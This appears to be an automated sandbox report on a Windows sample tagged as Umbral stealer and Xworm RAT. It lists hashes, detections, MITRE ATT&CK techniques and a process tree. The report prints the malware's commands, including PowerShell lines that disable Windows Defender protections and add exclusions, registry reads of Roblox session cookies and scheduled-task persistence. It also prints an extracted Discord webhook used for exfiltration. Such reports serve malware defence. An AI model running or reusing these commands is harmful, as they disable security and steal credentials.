umbral | 40596da4af2b1b0387147484d112423d317e2fd41cd19bb1b63d2f8429bacee4

Analysis

max time kernel
158s
max time network
157s
platform
windows10-1703_x64
resource
win10-20240404-en
resource tags

arch:x64arch:x86image:win10-20240404-enlocale:en-usos:windows10-1703-x64system
submitted
08/06/2024, 07:56

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General

Target
download.exe
Size 88KB
Sample240608-jsvtdabc43
SHA256 40596da4af2b1b0387147484d112423d317e2fd41cd19bb1b63d2f8429bacee4
MD5 94c73dc6cc79de28524a82f04adc7c6b
SHA1 8ce1411adede8a1485ad718160ef01c7a22634de
SHA512 820b38de02b00668b24e6dc0510f632a7648bd1e647f5a9ee0c7d8bd8b86a49b55db72e1cfa2eff0337dc30d6b1cb45af1f904a9105715618d410ff56841d041
SSDEEP 768:+CIFqF93IfXwXbOfq1okh8BBEjpaPWfu/WYat7PTXDvt976xrXu5Me0:+C4qF9pbOAh8B+Bfu+YaZTXTt97KruM
MD5 SHA1 SHA512 SSDEEP

Score

10^/10

umbral xworm execution rat spyware stealer trojan

Malware Config

Extracted

Family

umbral

https://discord.com/api/webhooks/1248607651387146310/L22eWHFIaqQanWIJXuwKJbdlgO8LfAMUL1ag9JLuvBFDDekhSwD3f38KvJADfkAUnTsK

Signatures

Detect Umbral payload 2 IoCs

resource	yara_rule
behavioral1/files/0x000800000001ac1b-48.dat	family_umbral
behavioral1/memory/404-50-0x00000242F1B90000-0x00000242F1BD0000-memory.dmp	family_umbral

Detect Xworm Payload 2 IoCs

resource	yara_rule
behavioral1/files/0x000800000001ac18-42.dat	family_xworm
behavioral1/memory/4268-44-0x0000000000FF0000-0x000000000100A000-memory.dmp	family_xworm

Umbral
Umbral stealer is an opensource moduler stealer written in C#.
stealer umbral
Xworm
Xworm is a remote access trojan written in C#.
trojan rat xworm

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3012	powershell.exe
1696	powershell.exe
2756	powershell.exe

Downloads MZ/PE file

Executes dropped EXE 3 IoCs

pid	Process
2268	remote.exe
4268	svchost‌.exe
404	skid.exe

Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Legitimate hosting services abused for malware hosting/C2 1 TTPs 5 IoCs

Web Service

T1102

flow	ioc
20	discord.com
21	discord.com
22	raw.githubusercontent.com
1	raw.githubusercontent.com
2	raw.githubusercontent.com

Looks up external IP address via web service 1 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

flow	ioc
17	ip-api.com

Drops file in System32 directory 2 IoCs

description	ioc	Process
File opened for modification	C:\Windows\System32\svchost‌.exe	remote.exe
File created	C:\Windows\System32\svchost‌.exe	remote.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Creates scheduled task(s) 1 TTPs 1 IoCs

Schtasks is often used by malware for persistence or to perform post-infection execution.

persistence

Scheduled Task/Job

T1053

pid	Process
4372	schtasks.exe

Detects videocard installed 1 TTPs 1 IoCs

Uses WMIC.exe to determine videocard installed.

System Information Discovery

T1082

pid	Process
1012	wmic.exe

Suspicious behavior: EnumeratesProcesses 24 IoCs

pid	Process
4664	download.exe
4664	download.exe
1696	powershell.exe
1696	powershell.exe
1696	powershell.exe
4708	powershell.exe
4708	powershell.exe
4708	powershell.exe
2756	powershell.exe
4648	powershell.exe
4648	powershell.exe
4648	powershell.exe
2756	powershell.exe
3340	powershell.exe
3340	powershell.exe
3340	powershell.exe
2756	powershell.exe
3012	powershell.exe
3012	powershell.exe
3012	powershell.exe
4060	powershell.exe
4060	powershell.exe
4060	powershell.exe
4268	svchost‌.exe

Suspicious use of AdjustPrivilegeToken 64 IoCs

description	pid	Process
Token: SeDebugPrivilege	4664	download.exe
Token: SeIncreaseQuotaPrivilege	4664	download.exe
Token: SeSecurityPrivilege	4664	download.exe
Token: SeTakeOwnershipPrivilege	4664	download.exe
Token: SeLoadDriverPrivilege	4664	download.exe
Token: SeSystemProfilePrivilege	4664	download.exe
Token: SeSystemtimePrivilege	4664	download.exe
Token: SeProfSingleProcessPrivilege	4664	download.exe
Token: SeIncBasePriorityPrivilege	4664	download.exe
Token: SeCreatePagefilePrivilege	4664	download.exe
Token: SeBackupPrivilege	4664	download.exe
Token: SeRestorePrivilege	4664	download.exe
Token: SeShutdownPrivilege	4664	download.exe
Token: SeDebugPrivilege	4664	download.exe
Token: SeSystemEnvironmentPrivilege	4664	download.exe
Token: SeRemoteShutdownPrivilege	4664	download.exe
Token: SeUndockPrivilege	4664	download.exe
Token: SeManageVolumePrivilege	4664	download.exe
Token: 33	4664	download.exe
Token: 34	4664	download.exe
Token: 35	4664	download.exe
Token: 36	4664	download.exe
Token: SeDebugPrivilege	404	skid.exe
Token: SeDebugPrivilege	1696	powershell.exe
Token: SeIncreaseQuotaPrivilege	1696	powershell.exe
Token: SeSecurityPrivilege	1696	powershell.exe
Token: SeTakeOwnershipPrivilege	1696	powershell.exe
Token: SeLoadDriverPrivilege	1696	powershell.exe
Token: SeSystemProfilePrivilege	1696	powershell.exe
Token: SeSystemtimePrivilege	1696	powershell.exe
Token: SeProfSingleProcessPrivilege	1696	powershell.exe
Token: SeIncBasePriorityPrivilege	1696	powershell.exe
Token: SeCreatePagefilePrivilege	1696	powershell.exe
Token: SeBackupPrivilege	1696	powershell.exe
Token: SeRestorePrivilege	1696	powershell.exe
Token: SeShutdownPrivilege	1696	powershell.exe
Token: SeDebugPrivilege	1696	powershell.exe
Token: SeSystemEnvironmentPrivilege	1696	powershell.exe
Token: SeRemoteShutdownPrivilege	1696	powershell.exe
Token: SeUndockPrivilege	1696	powershell.exe
Token: SeManageVolumePrivilege	1696	powershell.exe
Token: 33	1696	powershell.exe
Token: 34	1696	powershell.exe
Token: 35	1696	powershell.exe
Token: 36	1696	powershell.exe
Token: SeDebugPrivilege	4268	svchost‌.exe
Token: SeDebugPrivilege	4708	powershell.exe
Token: SeDebugPrivilege	2756	powershell.exe
Token: SeDebugPrivilege	4648	powershell.exe
Token: SeDebugPrivilege	3340	powershell.exe
Token: SeIncreaseQuotaPrivilege	2756	powershell.exe
Token: SeSecurityPrivilege	2756	powershell.exe
Token: SeTakeOwnershipPrivilege	2756	powershell.exe
Token: SeLoadDriverPrivilege	2756	powershell.exe
Token: SeSystemProfilePrivilege	2756	powershell.exe
Token: SeSystemtimePrivilege	2756	powershell.exe
Token: SeProfSingleProcessPrivilege	2756	powershell.exe
Token: SeIncBasePriorityPrivilege	2756	powershell.exe
Token: SeCreatePagefilePrivilege	2756	powershell.exe
Token: SeBackupPrivilege	2756	powershell.exe
Token: SeRestorePrivilege	2756	powershell.exe
Token: SeShutdownPrivilege	2756	powershell.exe
Token: SeDebugPrivilege	2756	powershell.exe
Token: SeSystemEnvironmentPrivilege	2756	powershell.exe

Suspicious use of SetWindowsHookEx 1 IoCs

pid	Process
4268	svchost‌.exe

Suspicious use of WriteProcessMemory 34 IoCs

description	pid	Process	procid_target
PID 4664 wrote to memory of 2104	4664	download.exe	73
PID 4664 wrote to memory of 2104	4664	download.exe	73
PID 2104 wrote to memory of 3968	2104	csc.exe	75
PID 2104 wrote to memory of 3968	2104	csc.exe	75
PID 4664 wrote to memory of 4372	4664	download.exe	78
PID 4664 wrote to memory of 4372	4664	download.exe	78
PID 4664 wrote to memory of 2268	4664	download.exe	79
PID 4664 wrote to memory of 2268	4664	download.exe	79
PID 2268 wrote to memory of 1820	2268	remote.exe	81
PID 2268 wrote to memory of 1820	2268	remote.exe	81
PID 4664 wrote to memory of 404	4664	download.exe	84
PID 4664 wrote to memory of 404	4664	download.exe	84
PID 404 wrote to memory of 1696	404	skid.exe	85
PID 404 wrote to memory of 1696	404	skid.exe	85
PID 404 wrote to memory of 4708	404	skid.exe	87
PID 404 wrote to memory of 4708	404	skid.exe	87
PID 4268 wrote to memory of 2756	4268	svchost‌.exe	89
PID 4268 wrote to memory of 2756	4268	svchost‌.exe	89
PID 404 wrote to memory of 4648	404	skid.exe	91
PID 404 wrote to memory of 4648	404	skid.exe	91
PID 404 wrote to memory of 3340	404	skid.exe	93
PID 404 wrote to memory of 3340	404	skid.exe	93
PID 404 wrote to memory of 3304	404	skid.exe	95
PID 404 wrote to memory of 3304	404	skid.exe	95
PID 4268 wrote to memory of 3012	4268	svchost‌.exe	97
PID 4268 wrote to memory of 3012	4268	svchost‌.exe	97
PID 404 wrote to memory of 1420	404	skid.exe	99
PID 404 wrote to memory of 1420	404	skid.exe	99
PID 404 wrote to memory of 4460	404	skid.exe	101
PID 404 wrote to memory of 4460	404	skid.exe	101
PID 404 wrote to memory of 4060	404	skid.exe	103
PID 404 wrote to memory of 4060	404	skid.exe	103
PID 404 wrote to memory of 1012	404	skid.exe	105
PID 404 wrote to memory of 1012	404	skid.exe	105

Uses Task Scheduler COM API 1 TTPs
The Task Scheduler COM API can be used to schedule applications to run on boot or at set times.
persistence

Query Registry
T1012

C:\Users\Admin\AppData\Local\Temp\download.exe
"C:\Users\Admin\AppData\Local\Temp\download.exe"
1⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:4664
- C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
  "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\3s5dplcu\3s5dplcu.cmdline"
  2⤵
  - Suspicious use of WriteProcessMemory
  PID:2104
- - C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
    C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES62B1.tmp" "c:\Users\Admin\AppData\Local\Temp\3s5dplcu\CSCF6A9F095FFF342D0885E931B993F34D.TMP"
    3⤵
    PID:3968
- C:\Windows\system32\schtasks.exe
  "C:\Windows\system32\schtasks.exe" /Create /SC ONLOGON /TN Updatew /TR C:\Users\Admin\150F4013\temp\run.cmd /RL HIGHEST /F
  2⤵
  - Creates scheduled task(s)
  PID:4372
- C:\Users\Admin\150F4013\remote.exe
  "C:\Users\Admin\150F4013\remote.exe"
  2⤵
  - Executes dropped EXE
  - Drops file in System32 directory
  - Suspicious use of WriteProcessMemory
  PID:2268
- - C:\Windows\SYSTEM32\schtasks.exe
    schtasks /run /TN Update
    3⤵
    PID:1820
- C:\Users\Admin\AppData\Local\Temp\skid.exe
  "C:\Users\Admin\AppData\Local\Temp\skid.exe"
  2⤵
  - Executes dropped EXE
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:404
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\skid.exe'
    3⤵
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:1696
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4708
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path HKCU:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:4648
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path HKLN:SOFTWARE\Roblox\RobloxStudioBrowser\roblox.com -Name .ROBLOSECURITY
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    PID:3340
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" os get Caption
    3⤵
    PID:3304
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" computersystem get totalphysicalmemory
    3⤵
    PID:1420
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic.exe" csproduct get uuid
    3⤵
    PID:4460
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "powershell.exe" Get-ItemPropertyValue -Path 'HKLM:System\CurrentControlSet\Control\Session Manager\Environment' -Name PROCESSOR_IDENTIFIER
    3⤵
    - Suspicious behavior: EnumeratesProcesses
    PID:4060
- - C:\Windows\System32\Wbem\wmic.exe
    "wmic" path win32_VideoController get name
    3⤵
    - Detects videocard installed
    PID:1012

C:\Windows\System32\svchost‌.exe
C:\Windows\System32\svchost‌.exe
1⤵
- Executes dropped EXE
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:4268
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionPath 'C:\Windows\System32\svchost‌.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2756
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy Bypass Add-MpPreference -ExclusionProcess 'svchost‌.exe'
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  PID:3012

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Scheduled Task/Job

T1053

Persistence

Scheduled Task/Job

T1053

Privilege Escalation

Scheduled Task/Job

T1053

Defense Evasion

Credential Access

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Web Service

T1102

Exfiltration

Impact

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Downloads

remote.exe

Path C:\Users\Admin\150F4013\remote.exe
Size 258KB
SHA256 2c94d9e87ad5c843048c4a09c3733b1d0326f3b5ce6a40e7b964f45034011dd4
MD5 5b361316509f8f3194eb12dd8b741c6c
SHA1 e98492f076095a6f323e80277ad55bc0639406aa
SHA512 8b22c6147703bc05f3405db877061d64642a3353661c7893482e9c8c897453e1edde3a39abdcda18ed50c296a520efb1430a2a0a7c1d119de363d72bb360abd0
SSDEEP 3072:OYuJYDyLDXFZ2e5B5E5YojWww/wJobAsQcQbEHBAnpK37nXT8u0C/Q7Lue74tyoO:OwDyLDXFZ95L7oLw/wo/8IiaQ7bg8
MD5 SHA1 SHA512 SSDEEP

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powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 3KB
SHA256 c9e6cb04d6c893458d5a7e12eb575cf97c3172f5e312b1f63a667cbbc5f0c033
MD5 ad5cd538ca58cb28ede39c108acb5785
SHA1 1ae910026f3dbe90ed025e9e96ead2b5399be877
SHA512 c066c5d9b276a68fa636647bb29aea05bfa2292217bc77f5324d9c1d93117772ee8277e1f7cff91ec8d6b7c05ca078f929cecfdbb09582522a9067f54740af13
MD5 SHA1 SHA512

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